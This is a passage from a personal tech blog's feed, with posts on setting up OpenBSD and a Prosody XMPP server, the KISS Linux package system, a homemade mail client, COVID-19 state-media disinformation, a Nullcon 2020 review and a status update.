It&rsquo;s as simple as:</p> <pre><code>$ doas ifconfig iwm0 nwid YOUR_SSID wpakey YOUR_PSK </code></pre> <p>Also see <a href="http://man.openbsd.org/hostname.if.5" rel="nofollow">hostname.if(5)</a> to make this persist. After that, it&rsquo;s only a matter of specifying your desired SSID, and <code>ifconfig</code> will automatically auth and procure an IP lease.</p> <pre><code>$ doas ifconfig iwm0 nwid YOUR_SSID </code></pre> <p>By now I was really starting to get exasperated by FVWM, and decided to switch to something nicer. I tried building 2bwm (my previous WM), but that failed. I didn&rsquo;t bother trying to figure this out, so I figured I&rsquo;d give <a href="http://man.openbsd.org/cwm.1" rel="nofollow">cwm(1)</a> a shot. Afterall, people sing high praises of it.</p> <p>And boy, is it good. The config is a breeze, and actually pretty powerful. <a href="https://github.com/icyphox/dotfiles/blob/master/home/.cwmrc" rel="nofollow">Here&rsquo;s mine</a>. cwm also has a built-in launcher, so dmenu isn&rsquo;t necessary anymore. Refer to <a href="https://man.openbsd.org/cwmrc.5" rel="nofollow">cwmrc(5)</a> for all the config options.</p> <p>Touchpad was pretty simple to setup too&mdash;OpenBSD has <a href="http://man.openbsd.org/wsconsctl.8" rel="nofollow">wsconsctl(8)</a>, which lets you set your tap-to-click, mouse acceleration etc. However, more advanced configuration can be achieved by getting Xorg to use the Synaptics driver. Just add a <code>70-synaptics.conf</code> to <code>/etc/X11/xorg.conf.d</code> (make the dir if it doesn&rsquo;t exist), containing:</p> <pre><code class="language-conf">Section &quot;InputClass&quot; Identifier &quot;touchpad catchall&quot; Driver &quot;synaptics&quot; MatchIsTouchpad &quot;on&quot; Option &quot;TapButton1&quot; &quot;1&quot; Option &quot;TapButton2&quot; &quot;3&quot; Option &quot;TapButton3&quot; &quot;2&quot; Option &quot;VertEdgeScroll&quot; &quot;on&quot; Option &quot;VertTwoFingerScroll&quot; &quot;on&quot; Option &quot;HorizEdgeScroll&quot; &quot;on&quot; Option &quot;HorizTwoFingerScroll&quot; &quot;on&quot; Option &quot;VertScrollDelta&quot; &quot;111&quot; Option &quot;HorizScrollDelta&quot; &quot;111&quot; EndSection </code></pre> <p>There are a lot more options that can be configured, see <a href="http://man.openbsd.org/synaptics.4" rel="nofollow">synaptics(4)</a>.</p> <p>Suspend and hibernate just work, thanks to <a href="http://man.openbsd.org/apm.8" rel="nofollow">apm(8)</a>. Suspend on lid-close just needs one <code>sysctl</code> tweak:</p> <pre><code>$ sysctl machdep.lidaction=1 </code></pre> <p>I believe it&rsquo;s set to 1 by default on some installs, but I&rsquo;m not sure.</p> <h2 id="impressions">impressions</h2> <p>I already really like the philosophy of OpenBSD&mdash;security and simplicity, while not losing out on sanity. The default install is plentiful, and has just about everything you&rsquo;d need to get going. I especially enjoy how everything just works! I was pleasantly surprised to see my brightness and volume keys work without any configuration! It&rsquo;s clear that the devs actually dogfood OpenBSD, unlike uh, <em>cough</em> Free- <em>cough</em>. Gosh I hope it&rsquo;s not <em>the</em> flu. :^)</p> <p>Oh and did you notice all the manpage links I&rsquo;ve littered throughout this post? They have manpages for <em>everything</em>; it&rsquo;s ridiculous. And they&rsquo;re very thorough. Arch Wiki is good, but it&rsquo;s incorrect at times, or simply outdated. OpenBSD&rsquo;s manpages, although catering only to OpenBSD have never failed me.</p> <p>Performance and battery life are fine. Battery is in fact, identical, if not better than on Linux. OpenBSD disables HyperThreading/SMT for security reasons, but you can manually enable it if you wish to do so:</p> <pre><code>$ sysctl hw.smt=1 </code></pre> <p>Package management is probably the only place where OpenBSD falls short. <a href="http://man.openbsd.org/pkg_add.1" rel="nofollow">pkg_add(1)</a> isn&rsquo;t particularly fast, considering it&rsquo;s written in Perl. The ports selection is fine, I have yet to find something that I need not on there. I also wish they debloated packages; maybe I&rsquo;ve just been spoilt by KISS. I now have D-Bus on my system thanks to Firefox. :(</p> <p>I appreciate the fact that they don&rsquo;t have a political document&mdash;a Code of Conduct. CoCs are awful, and have only proven to be harmful for projects; part of the reason why I&rsquo;m sick of Linux and its community. Oh wait, OpenBSD does have one: <a href="https://www.openbsd.org/mail.html" rel="nofollow">https://www.openbsd.org/mail.html</a> ;)</p> <p>I&rsquo;ll be exploring <a href="http://man.openbsd.org/vmd.8" rel="nofollow">vmd(8)</a> to see if I can get a Linux environment going. Perhaps that&rsquo;ll be my next post, but when have I ever delivered?</p> <p>I&rsquo;ll close this post off with my new rice, and a sick ASCII art I made.</p> <pre><code> \. -- --./ / ^ ^ ^ \ (o)(o) ^ ^ |_/| {} ^ ^ &gt; ^| \| \^ ^ ^ ^/ / -- --\ ~icy </code></pre> <p><img src="https://cdn.icyphox.sh/zDYdj.png" alt="openbsd rice" /></p> + + + The Zen of KISS Linux + 2020-04-03T00:00:00Z + tag:icyphox.sh/,2020-04-03:blog/kiss-zen + + <h2>My thoughts on the distro, the philosophy and my experience in general</h2> <p><a href="/blog/five-days-tty">I installed KISS</a> early in January on my main machine&mdash;an HP Envy 13 (2017), and I have since noticed a lot of changes in my workflow, my approach to software (and its development), and in life as a whole. I wouldn&rsquo;t call KISS &ldquo;life changing&rdquo;, as that would be overly dramatic, but it has definitely reshaped my outlook towards technology&mdash;for better or worse.</p> <p>When I talk about KISS to people&mdash;online or IRL&mdash;I get some pretty interesting reactions and comments.<sup class="footnote-ref" id="fnref:bringing-up-kiss"><a href="#fn:bringing-up-kiss">1</a></sup> Ranging from &ldquo;Oh cool.&rdquo; to &ldquo;You must be retarded.&rdquo;, I&rsquo;ve heard it all. A classic and a personal favourite of mine, &ldquo;I don&rsquo;t use meme distros because I actually get work done.&rdquo; It is actually, quite the opposite&mdash;I&rsquo;ve been so much more productive using KISS than any other operating system. I&rsquo;ll explain why shortly.</p> <p>The beauty of this &ldquo;distro&rdquo;, is it isn&rsquo;t much of a distribution at all. There is no big team, no mailing lists, no infrastructure. The entire setup is so loose, and this makes it very convenient to swap things out for alternatives. The main (and potentially community) repos all reside locally on your system. In the event that Dylan decides to call it quits and switches to Windows, we can simply just bump versions ourselves, locally! The <a href="https://k1ss.org/guidestones" rel="nofollow">KISS Guidestones</a> document is a good read.</p> <p>In the subseqent paragraphs, I&rsquo;ve laid out the different things about KISS that stand out to me, and make using the system a lot more enjoyable.</p> <h2 id="the-package-system">the package system</h2> <p>Packaging for KISS has been delightful, to say the least. It takes me about 2 mins to write and publish a new package. Here&rsquo;s the <code>radare2</code> package, which I maintain, for example.</p> <p>The <code>build</code> file (executable):</p> <pre><code class="language-sh">#!/bin/sh -e ./configure \ --prefix=/usr make make DESTDIR=&quot;$1&quot; install </code></pre> <p>The <code>version</code> file:</p> <pre><code>4.3.1 1 </code></pre> <p>The <code>checksums</code> file (generated using <code>kiss checksum radare2</code>):</p> <pre><code>4abcb9c9dff24eab44d64d392e115ae774ab1ad90d04f2c983d96d7d7f9476aa 4.3.1.tar.gz </code></pre> <p>And finally, the <code>sources</code> file:</p> <pre><code>https://github.com/radareorg/radare2/archive/4.3.1.tar.gz </code></pre> <p>This is literally the bare minimum that you need to define a package. There&rsquo;s also the <code>depends</code> file where you specify the dependencies for your package. <code>kiss</code> also generates a <code>manifests</code> file to track all the files and directories that your package creates during installation, for their removal, if and when that occurs. Now compare this process with any other distribution&rsquo;s.</p> <h2 id="the-community">the community</h2> <p>As far as I know, it mostly consists of the <code>#kisslinux</code> channel on Freenode and the <a href="https://old.reddit.com/r/kisslinux" rel="nofollow">r/kisslinux</a> subreddit. It&rsquo;s not that big, but it&rsquo;s suprisingly active, and super helpful. There have been some interested new KISS-related projects too: <a href="https://github.com/sdsddsd1/kiss-games" rel="nofollow">kiss-games</a>&mdash;a repository for, well, Linux games; <a href="https://github.com/jedavies-dev/kiss-ppc64le" rel="nofollow">kiss-ppc64le</a> and <a href="https://github.com/jedavies-dev/kiss-aarch64" rel="nofollow">kiss-aarch64</a>&mdash;KISS Linux ports for PowerPC and ARM64 architectures; <a href="https://github.com/wyvertux/wyvertux" rel="nofollow">wyvertux</a>&mdash;an attempt at a GNU-free Linux distribution, using KISS as a base; and tons more.</p> <h2 id="the-philosophy">the philosophy</h2> <p>Software today is far too complex. And its complexity is only growing. Some might argue that this is inevitable, and it is in fact progress. I disagree. Blindly adding layers and layers of abstraction (Docker, modern web &ldquo;apps&rdquo;) isn&rsquo;t progress. Look at the Linux desktop ecosystem today, for example&mdash;monstrosities like GNOME and KDE are a result of this&hellip;new wave software engineering.</p> <p>I see KISS as a symbol of defiance against this malformed notion. You don&rsquo;t <em>need</em> all the bloat these DEs ship with to have a usable system. Agreed, it&rsquo;s a bit more effort to get up and running, but it is entirely worth it. Think of it as a clean table&mdash;feels good to sit down and work on, doesn&rsquo;t it?</p> <p>Let&rsquo;s take my own experience, for example. One of the initial few software I used to install on a new system was <code>dunst</code>&mdash;a notification daemon. Unfortunately, it depends on D-Bus, which is Poetterware; ergo, not on KISS. However, using a system without notifications has been very pleasant. Nothing to distract you while you&rsquo;re in the zone.</p> <p>Another instance, again involving D-Bus (or not), is Bluetooth audio. As it happens, my laptop&rsquo;s 3.5mm jack is rekt, and I need to use Bluetooth for audio, if at all. Sadly, Bluetooth audio on Linux hard-depends on D-Bus. Bluetooth stacks that don&rsquo;t rely on D-Bus do exist, like on Android, but porting them over to desktop is non-trivial. However, I used this to my advantage and decided not to consume media on my laptop. This has drastically boosted my productivity, since I literally cannot watch YouTube even if I wanted to. My laptop is now strictly work-only. If I do need to watch the occasional video / listen to music, I use my phone. Compartmentalizing work and play to separate devices has worked out pretty well for me.</p> <p>I&rsquo;m slowly noticing myself favor low-tech (or no-tech) solutions to simple problems too. Like notetaking&mdash;I&rsquo;ve tried plaintext files, Vim Wiki, Markdown, but nothing beats actually using pen and paper. Tech, from what I can see, doesn&rsquo;t solve problems very effectively. In some cases, it only causes more of them. I might write another post discussing my thoughts on this in further detail.</p> <p>I&rsquo;m not sure what I intended this post to be, but I&rsquo;m pretty happy with the mindspill. To conclude this already long monologue, let me clarify one little thing y&rsquo;all are probably thinking, &ldquo;Okay man, are you suggesting that we regress to the Dark Ages?&rdquo;. No, I&rsquo;m not suggesting that we regress, but rather, progress mindfully.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:bringing-up-kiss"><p>No, I don&rsquo;t go &ldquo;I use KISS btw&rdquo;. I don&rsquo;t bring it up unless provoked.</p> <a class="footnote-return" href="#fnref:bringing-up-kiss"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Introducing mael + 2020-03-29T00:00:00Z + tag:icyphox.sh/,2020-03-29:blog/mael + + <h2>An experimental mail client</h2> <p><strong>Update</strong>: The code lives here: <a href="https://github.com/icyphox/mael" rel="nofollow">https://github.com/icyphox/mael</a></p> <p>I&rsquo;ve been on the lookout for a good terminal-based email client since forever, and I&rsquo;ve tried almost all of them. The one I use right now sucks a little less&mdash;<a href="https://git.sr.ht/~sircmpwn/aerc" rel="nofollow">aerc</a>. I have some gripes with it though, like the problem with outgoing emails not getting copied to the Sent folder, and instead erroring out with a cryptic <code>EOF</code>&mdash;that&rsquo;s literally all it says. I&rsquo;ve tried mutt, but I find it a little excessive. It feels like the weechat of email&mdash;to many features that you&rsquo;ll probably never use.</p> <p>I need something clean and simple, less bloated (for the lack of a better term). This is what motivated me to try writing my own. The result of this (and not to mention, being holed up at home with nothing better to do), is <strong>mael</strong>.<sup class="footnote-ref" id="fnref:oss"><a href="#fn:oss">1</a></sup></p> <p>mael isn&rsquo;t like your usual TUI clients. I envision this to turn out similar to mailx&mdash;a prompt-based UI. The reason behind this UX decision is simple: it&rsquo;s easier for me to write. :)</p> <p>Speaking of writing it, it&rsquo;s being written in a mix of Python and bash. Why? Because Python&rsquo;s <code>email</code> and <code>mailbox</code> modules are fantastic, and I don&rsquo;t think I want to parse Maildirs in bash. &ldquo;But why not pure Python?&rdquo; Well, I&rsquo;m going to be shelling out a lot (more on this in a bit), and writing interactive UIs in bash is a lot more intuitive, thanks to some of the nifty features that later versions of bash have&mdash;<code>read</code>, <code>mapfile</code> etc.</p> <p>The reason I&rsquo;m shelling out is because two key components to this client, that I haven&rsquo;t yet talked about&mdash;<code>mbsync</code> and <code>msmtp</code> are in use, for IMAP and SMTP respectively. And <code>mbsync</code> uses the Maildir format, which is why I&rsquo;m relying on Python&rsquo;s <code>mailbox</code> package. Why is this in the standard library anyway?!</p> <p>The architecture of the client is pretty interesting (and possibly very stupid), but here&rsquo;s what happens:</p> <ul> <li>UI and prompt stuff in bash</li> <li>emails are read using <code>less</code></li> <li>email templates (RFC 2822) are parsed and generated in Python</li> <li>this is sent to bash in STDOUT, like</li> </ul> <pre><code class="language-sh">msg=&quot;$(./mael-parser &quot;$maildir_message_path&quot;)&quot; </code></pre> <p>These kind of one-way (bash -&gt; Python) calls are what drive the entire process. I&rsquo;m not sure what to think of it. Perhaps I might just give up and write the entire thing in Python. Or&hellip;I might just scrap this entirely and just shut up and use aerc. I don&rsquo;t know yet. The code does seem to be growing in size rapidly. It&rsquo;s about ~350 LOC in two days of writing (Python + bash). New problems arise every now and then and it&rsquo;s pretty hard to keep track of all of this. It&rsquo;ll be cool when it&rsquo;s all done though (I think).</p> <p>If only things just worked.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:oss"><p>I have yet to open source it; this post will be updated with a link to it when I do.</p> <a class="footnote-return" href="#fnref:oss"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + COVID-19 disinformation + 2020-03-15T00:00:00Z + tag:icyphox.sh/,2020-03-15:blog/covid19-disinfo + + <h2>A lot of actors cashing in on the epidemic</h2> <p>The virus spreads around the world, along with a bunch of disinformation and potential malware / phishing campaigns. There are many actors, pushing many narratives&mdash;some similar, some different.</p> <p>Interestingly, the three big players in the information warfare space&mdash;Russia, Iran and China seem to be running similar stories on their state-backed media outlets. While they all tend to lean towards the same, fairly anti-U.S. sentiments&mdash;that is, blaming the US for weaponizing the crisis for political gain&mdash;Iran and Russia&rsquo;s content come off as more&hellip;conspiratorial. In essence, they claim that the COVID-19 virus is a &ldquo;bioweapon&rdquo; developed by the U.S.</p> <p>Russian news agency <a href="https://twitter.com/RT_com/status/1233187558793924608" rel="nofollow">RT tweeted</a>:</p> <blockquote> <p>Show of hands, who isn&rsquo;t going to be surprised if it ever gets revealed that #coronavirus is a bioweapon?</p> </blockquote> <p>RT also published <a href="https://www.rt.com/usa/481485-coronavirus-russia-state-department/" rel="nofollow">an article</a> mocking the U.S. for concerns over Russian disinformation. Another article by RT, <a href="https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/" rel="nofollow">an op-ed</a> suggests the virus&rsquo; impact on financial markets might bring about the reinvention of communism and the end of the global capitalist system. Russian state-sponsored media can also be seen amplifying Iranian conspiracy theories&mdash;including the Islamic Revolutionary Guard Corps&rsquo; (IRGC) suggestion that COVID-19 <a href="https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/" rel="nofollow">is a U.S. bioweapon</a>.</p> <p>Iranian media outlets appear to be running stories having similar themese, as well. Here&rsquo;s one <a href="https://www.presstv.com/Detail/2020/03/05/620217/US-coronavirus-James-Henry-Fetzer" rel="nofollow">by PressTV</a>, where they very boldly claim that the virus was developed by the U.S. and/or Isreal, to use as a bioweapon against Iran. Another <a href="https://www.presstv.com/Detail/2020/03/05/620213/Coronavirus-was-produced-in-a-laboratory" rel="nofollow">nonsensical piece</a> by PressTV suggests that &ldquo;there are components of the virus that are related to HIV that could not have occurred naturally&rdquo;. The same article pushes another theory:</p> <blockquote> <p>There has been some speculation that as the Trump Administration has been constantly raising the issue of growing Chinese global competitiveness as a direct threat to American national security and economic dominance, it might be possible that Washington has created and unleashed the virus in a bid to bring Beijing’s growing economy and military might down a few notches. It is, to be sure, hard to believe that even the Trump White House would do something so reckless, but there are precedents for that type of behavior</p> </blockquote> <p>These &ldquo;theories&rdquo;, as is evident, are getting wilder and wilder.</p> <p>Unsurprisingly, China produces the most amount of content related to the coronavirus, but they&rsquo;re quite distinct in comparison to Russian and Iranian media. The general theme behind Chinese narratives is critisizing the West for&hellip;a lot of things.</p> <p>Global Times claims that <a href="http://www.globaltimes.cn/content/1178494.shtml" rel="nofollow">democracy is an insufficient system</a> to battle the coronavirus. They <a href="http://www.globaltimes.cn/content/1178494.shtml" rel="nofollow">blame the U.S.</a> for unfair media coverage against China, and other <a href="http://www.globaltimes.cn/content/1180630.shtml" rel="nofollow">anti-China narratives</a>. There are a ton other articles that play the racism/discrimination card&mdash;I wouldn&rsquo;t blame them though. <a href="http://www.globaltimes.cn/content/1178465.shtml" rel="nofollow">Here&rsquo;s one</a>.</p> <p>In the case of India, most disinfo (actually, misinfo) is mostly just pseudoscientific / alternative medicine / cures in the form of WhatsApp forwards&mdash;&ldquo;Eat foo! Eat bar!&rdquo;.<sup class="footnote-ref" id="fnref:cowpiss"><a href="#fn:cowpiss">1</a></sup></p> <p>I&rsquo;ve also been noticing a <em>ton</em> of COVID-19 / coronavirus related domain registrations happening. Expect phishing and malware campaigns using the virus as a theme. In the past 24 hrs, ~450 <code>.com</code> domains alone were registered.</p> <p><img src="https://cdn.icyphox.sh/SgswL.png" alt="" /></p> <p>Anywho, there are bigger problems at hand&mdash;like the fact that my uni still hasn&rsquo;t suspended classes!</p> <div class="footnotes"> <hr /> <ol> <li id="fn:cowpiss"><a href="https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece" rel="nofollow">https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece</a> <a class="footnote-return" href="#fnref:cowpiss"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Nullcon 2020 + 2020-03-09T00:00:00Z + tag:icyphox.sh/,2020-03-09:blog/nullcon-2020 + + <h2>An opinion-filled review of Nullcon Goa, 2020</h2> <p><strong>Disclaimer</strong>: Political.</p> <p>This year&rsquo;s conference was at the Taj Hotel and Convention center, Dona Paula, and its associated party at Cidade de Goa, also by Taj. Great choice of venue, perhaps even better than last time. The food was fine, the views were better.</p> <p>With <em>those</em> things out of the way&mdash;let&rsquo;s talk talks. I think I preferred the panels to the talks&mdash;I enjoy a good, stimulating discussion as opposed to only half-understanding a deeply technical talk&mdash;but that&rsquo;s just me. But there was this one talk that I really enjoyed, perhaps due to its unintended comedic value; I&rsquo;ll get into that later.</p> <p>The list of panels/talks I attended in order:</p> <p><strong>Day 1</strong></p> <ul> <li>Keynote: The Metadata Trap by Micah Lee (Talk)</li> <li>Securing the Human Factor (Panel)</li> <li>Predicting Danger: Building the Ideal Threat Intelligence Model (Panel)</li> <li>Lessons from the Cyber Trenches (Panel)</li> <li>Mlw 41#: a new sophisticated loader by APT group TA505 by Alexey Vishnyakov (Talk)</li> <li>Taking the guess out of Glitching by Adam Laurie (Talk)</li> <li>Keynote: Cybersecurity in India&mdash;Information Assymetry, Cross Border Threats and National Sovereignty by Saumil Shah (Talk)</li> </ul> <p><strong>Day 2</strong></p> <ul> <li>Keynote: Crouching hacker, killer robot? Removing fear from cyber-physical security by Stefano Zanero (Talk)</li> <li>Supply Chain Security in Critical Infrastructure Systems (Panel)</li> <li>Putting it all together: building an iOS jailbreak from scratch by Umang Raghuvanshi (Talk)</li> <li>Hack the Law: Protection for Ethical Cyber Security Research in India (Panel)</li> </ul> <h2 id="re-closing-keynote">Re: Closing keynote</h2> <p>I wish I could link the talk, but it hasn&rsquo;t been uploaded just yet. I&rsquo;ll do it once it has. So, I&rsquo;ve a few comments I&rsquo;d like to make on some of Saumil&rsquo;s statements.</p> <p>He proposed that the security industry trust the user more, and let them make the decisions pertaining to personal security / privacy. Except&hellip;that&rsquo;s just not going to happen. If all users were capable of making good, security-first choices&mdash;we as an industry don&rsquo;t need to exist. But that is unfortunately not the case. Users are dumb. They value convenience and immediacy over security. That&rsquo;s the sad truth of the modern age.</p> <p>Another thing he proposed was that the Indian Government build our own &ldquo;Military Grade&rdquo; and &ldquo;Consumer Grade&rdquo; encryption.</p> <p><em>&hellip;what?</em></p> <p>A &ldquo;security professional&rdquo; suggesting that we roll our own crypto? What even. Oh and, to top it off&mdash;when <a href="https://twitter.com/tame_wildcard" rel="nofollow">Raman</a>, very rightly countered saying that the biggest opponent to encryption <em>is</em> the Government, and trusting them to build safe cryptosystems is probably not wise, he responded by saying something to the effect of &ldquo;Eh, who cares? If they want to backdoor it, let them.&rdquo;</p> <p>Bruh moment.</p> <p>He also had some interesting things to say about countering disinformation. He said, and I quote &ldquo;Join the STFU University&rdquo;.</p> <p>¿wat? Is that your best solution?</p> <p>Judging by his profile, and certain other things he said in the talk, it is safe to conclude that his ideals are fairly&hellip;nationalistic. I&rsquo;m not one to police political opinions, I couldn&rsquo;t care less which way you lean, but the statements made in the talk were straight up incorrect.</p> <h2 id="closing-thoughts">Closing thoughts</h2> <p>This came out more rant-like than I&rsquo;d intended. It is also the first blog post where I dip my toes into politics. I&rsquo;ve some thoughts on more controversial topics for my next entry. That&rsquo;ll be fun, especially when my follower count starts dropping. LULW.</p> <p>Saumil, if you ever end up reading this, note that this is not a personal attack. I think you&rsquo;re a cool guy.</p> <p>Note to the Nullcon organizers: you guys did a fantastic job running the conference despite Corona-chan&rsquo;s best efforts. I&rsquo;d like to suggest one little thing though&mdash;please VET YOUR SPEAKERS more!</p> <p><img src="https://cdn.icyphox.sh/EjO-E.jpg" alt="" /></p> + + + Setting up Prosody for XMPP + 2020-02-18T00:00:00Z + tag:icyphox.sh/,2020-02-18:blog/prosody + + <h2>I setup Prosody yesterday—here's how I did it</h2> <p>Remember the <a href="/blog/irc-for-dms/">IRC for DMs</a> article I wrote a while back? Well&hellip;it&rsquo;s safe to say that IRC didn&rsquo;t hold up too well. It first started with the bot. Buggy code, crashed a lot&mdash;we eventually gave up and didn&rsquo;t bring the bot back up. Then came the notifications, or lack thereof. Revolution IRC has a bug where your custom notification rules just get ignored after a while. In my case, this meant that notifications for <code>#crimson</code> stopped entirely. Unless, of course, Nerdy pinged me each time.</p> <p>Again, none of these problems are inherent to IRC itself. IRC is fantastic, but perhaps wasn&rsquo;t the best fit for our usecase. I still do use IRC though, just not for 1-on-1 conversations.</p> <h2 id="why-xmpp">Why XMPP?</h2> <p>For one, it&rsquo;s better suited for 1-on-1 conversations. It also has support for end-to-end encryption (via OMEMO), something IRC doesn&rsquo;t have.<sup class="footnote-ref" id="fnref:otr"><a href="#fn:otr">1</a></sup> Also, it isn&rsquo;t centralized (think: email).</p> <h2 id="so-prosody">So&hellip;Prosody</h2> <p><a href="https://prosody.im" rel="nofollow">Prosody</a> is an XMPP server. Why did I choose this over ejabberd, OpenFire, etc.? No reason, really. Their website looked cool, I guess.</p> <h3 id="installing">Installing</h3> <p>Setting it up was pretty painless (I&rsquo;ve <a href="/blog/mailserver">experienced worse</a>). If you&rsquo;re on a Debian-derived system, add:</p> <pre><code># modify according to your distro deb https://packages.prosody.im/debian buster main </code></pre> <p>to your <code>/etc/apt/sources.list</code>, and:</p> <pre><code># apt update # apt install prosody </code></pre> <h3 id="configuring">Configuring</h3> <p>Once installed, you will find the config file at <code>/etc/prosody/prosody.cfg.lua</code>. Add your XMPP user (we will make this later), to the <code>admins = {}</code> line.</p> <pre><code>admins = {&quot;user@chat.example.com&quot;} </code></pre> <p>Head to the <code>modules_enabled</code> section, and add this to it:</p> <pre><code>modules_enabled = { &quot;posix&quot;; &quot;omemo_all_access&quot;; ... -- uncomment these &quot;groups&quot;; &quot;mam&quot;; -- and any others you think you may need } </code></pre> <p>We will install the <code>omemo_all_access</code> module later.</p> <p>Set <code>c2s_require_encryption</code>, <code>s2s_require_encryption</code>, and <code>s2s_secure_auth</code> to <code>true</code>. Set the <code>pidfile</code> to <code>/tmp/prosody.pid</code> (or just leave it as default?).</p> <p>By default, Prosody stores passwords in plain-text, so fix that by setting <code>authentication</code> to <code>&quot;internal_hashed&quot;</code></p> <p>Head to the <code>VirtualHost</code> section, and add your vhost. Right above it, set the path to the HTTPS certificate and key:</p> <pre><code>certificates = &quot;certs&quot; -- relative to your config file location https_certificate = &quot;certs/chat.example.com.crt&quot; https_key = &quot;certs/chat.example.com.key&quot; ... VirtualHost &quot;chat.example.com&quot; </code></pre> <p>I generated these certs using Let&rsquo;s Encrypt&rsquo;s <code>certbot</code>, you can use whatever. Here&rsquo;s what I did:</p> <pre><code># certbot --nginx -d chat.example.com </code></pre> <p>This generates certs at <code>/etc/letsencrypt/live/chat.example.com/</code>. You can trivially import these certs into Prosody&rsquo;s <code>/etc/prosody/certs/</code> directory using:</p> <pre><code># prosodyctl cert import /etc/letsencrypt/live/chat.example.com </code></pre> <h3 id="plugins">Plugins</h3> <p>All the modules for Prosody can be <code>hg clone</code>&rsquo;d from <a href="https://hg.prosody.im/prosody-modules" rel="nofollow">https://hg.prosody.im/prosody-modules</a>. You will, obviously, need Mercurial installed for this.</p> <p>Clone it somewhere, and:</p> <pre><code># cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules </code></pre> <p>Do the same thing for whatever other module you choose to install. Don&rsquo;t forget to add it to the <code>modules_enabled</code> section in the config.</p> <h3 id="adding-users">Adding users</h3> <p><code>prosodyctl</code> makes this a fairly simple task:</p> <pre><code>$ prosodyctl adduser user@chat.example.com </code></pre> <p>You will be prompted for a password. You can optionally, enable user registrations from XMPP/Jabber clients (security risk!), by setting <code>allow_registration = true</code>.</p> <p>I may have missed something important, so here&rsquo;s <a href="https://cdn.icyphox.sh/prosody.cfg.lua" rel="nofollow">my config</a> for reference.</p> <h2 id="closing-notes">Closing notes</h2> <p>That&rsquo;s pretty much all you need for 1-on-1 E2EE chats. I don&rsquo;t know much about group chats just yet&mdash;trying to create a group in Conversations gives a &ldquo;No group chat server found&rdquo;. I will figure it out later.</p> <p>Another thing that doesn&rsquo;t work in Conversations is adding an account using an <code>SRV</code> record.<sup class="footnote-ref" id="fnref:srv"><a href="#fn:srv">2</a></sup> Which kinda sucks, because having a <code>chat.</code> subdomain isn&rsquo;t very clean, but whatever.</p> <p>Oh, also&mdash;you can message me at <a href="xmpp:icy@chat.icyphox.sh" rel="nofollow">icy@chat.icyphox.sh</a>.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:otr">I&rsquo;m told IRC supports OTR, but I haven&rsquo;t ever tried. <a class="footnote-return" href="#fnref:otr"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:srv"><a href="https://prosody.im/doc/dns" rel="nofollow">https://prosody.im/doc/dns</a> <a class="footnote-return" href="#fnref:srv"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Status update + 2020-01-18T00:00:00Z + tag:icyphox.sh/,2020-01-18:blog/2020-01-18 + + <h2>New year…new stuff?</h2> <p>It&rsquo;s only been a two weeks since I got back to campus, and we&rsquo;ve <em>already</em> got our first round of cycle tests starting this Tuesday. Granted, I returned a week late, but&hellip;that&rsquo;s nuts!</p> <p>We&rsquo;re two whole weeks into 2020; I should&rsquo;ve been working on something status update worthy, right? Not really, but we&rsquo;ll see.</p> <h2 id="no-more-cloudflare">No more Cloudflare!</h2> <p>Yep. If you weren&rsquo;t aware&mdash;pre-2020 this site was behind Cloudflare SSL and their DNS. I have since migrated off it to <a href="https://he.net" rel="nofollow">he.net</a>, thanks to highly upvoted Lobste.rs comment. Because of this switch, I infact, learnt a ton about DNS.</p> <p>Migrating to HE was very painless, but I did have to research a lot about PTR records&mdash;Cloudflare kinda dumbs it down. In my case, I had to rename my DigitalOcean VPS instance to the FQDN, which then automagically created a PTR record at DO&rsquo;s end.</p> <h2 id="i-dropped-icyrc">I dropped icyrc</h2> <p>The IRC client I was working on during the end of last December--early-January? Yeah, I lost interest. Apparently writing C and ncurses isn&rsquo;t very fun or stimulating.</p> <p>This also means I&rsquo;m back on weechat. Until I find another client that plays well with ZNC, that is.</p> <h2 id="kiss-stuff">KISS stuff</h2> <p>I now maintain two new packages in the KISS community repository&mdash;2bwm and aerc! The KISS package system is stupid simple to work with. Creating packages has never been easier.</p> <h2 id="icyphox-sh-friends-friends"><a href="/friends">icyphox.sh/friends</a></h2> <p>Did you notice that yet? I&rsquo;ve been curating a list of people I know IRL and online, and linking to their online presence. This is like a webring of sorts, and promotes inter-site traffic&mdash;making the web more &ldquo;web&rdquo; again.</p> <p>If you know me, feel free to <a href="/about#contact">hit me up</a> and I&rsquo;ll link your site too! My apologies if I&rsquo;ve forgotten your name.</p> <h2 id="patreon">Patreon!</h2> <p>Is this big news? I dunno, but yes&mdash;I now have a Patreon. I figured I&rsquo;d cash in on the newfound traffic my site&rsquo;s been getting. There won&rsquo;t be any exclusive content or any tiers or whatever. Nothing will change. Just a place for y&rsquo;all to toss me some $$$ if you wish to do so. ;)</p> <p>Oh, and it&rsquo;s at <a href="https://patreon.com/icyphox" rel="nofollow">patreon.com/icyphox</a>.</p> <h2 id="misc">Misc.</h2> <p>The Stormlight Archive is likely the <em>best</em> epic I have ever read till date. I&rsquo;m still not done yet; about 500 odd pages to go as of this writing. But wow, Brandon really does know how to build worlds and magic systems. I cannot wait to read all about the <a href="https://coppermind.net/wiki/Cosmere" rel="nofollow">cosmere</a>.</p> <p>I have also been working out for the past month or so. I can see them gainzzz. I plan to keep track of my progress, I just don&rsquo;t know how to quantify it. Perhaps I&rsquo;ll log the number of reps × sets I do each time, and with what weights. I can then look back to see if either the weights have increased since, or the number of reps × sets have. If you know of a better way to quantify progress, let me know! I&rsquo;m pretty new to this.</p> + + + Vimb&#58; my Firefox replacement + 2020-01-16T00:00:00Z + tag:icyphox.sh/,2020-01-16:blog/mnml-browsing + + <h2>Web browsing, suckless style</h2> <p>After having recently installed <a href="https://getkiss.org" rel="nofollow">KISS</a>, and building Firefox from source, I was exposed to the true monstrosity that Firefox&mdash;and web browsers in general&mdash;is. It took all of 9 hours to build the dependencies and then Firefox 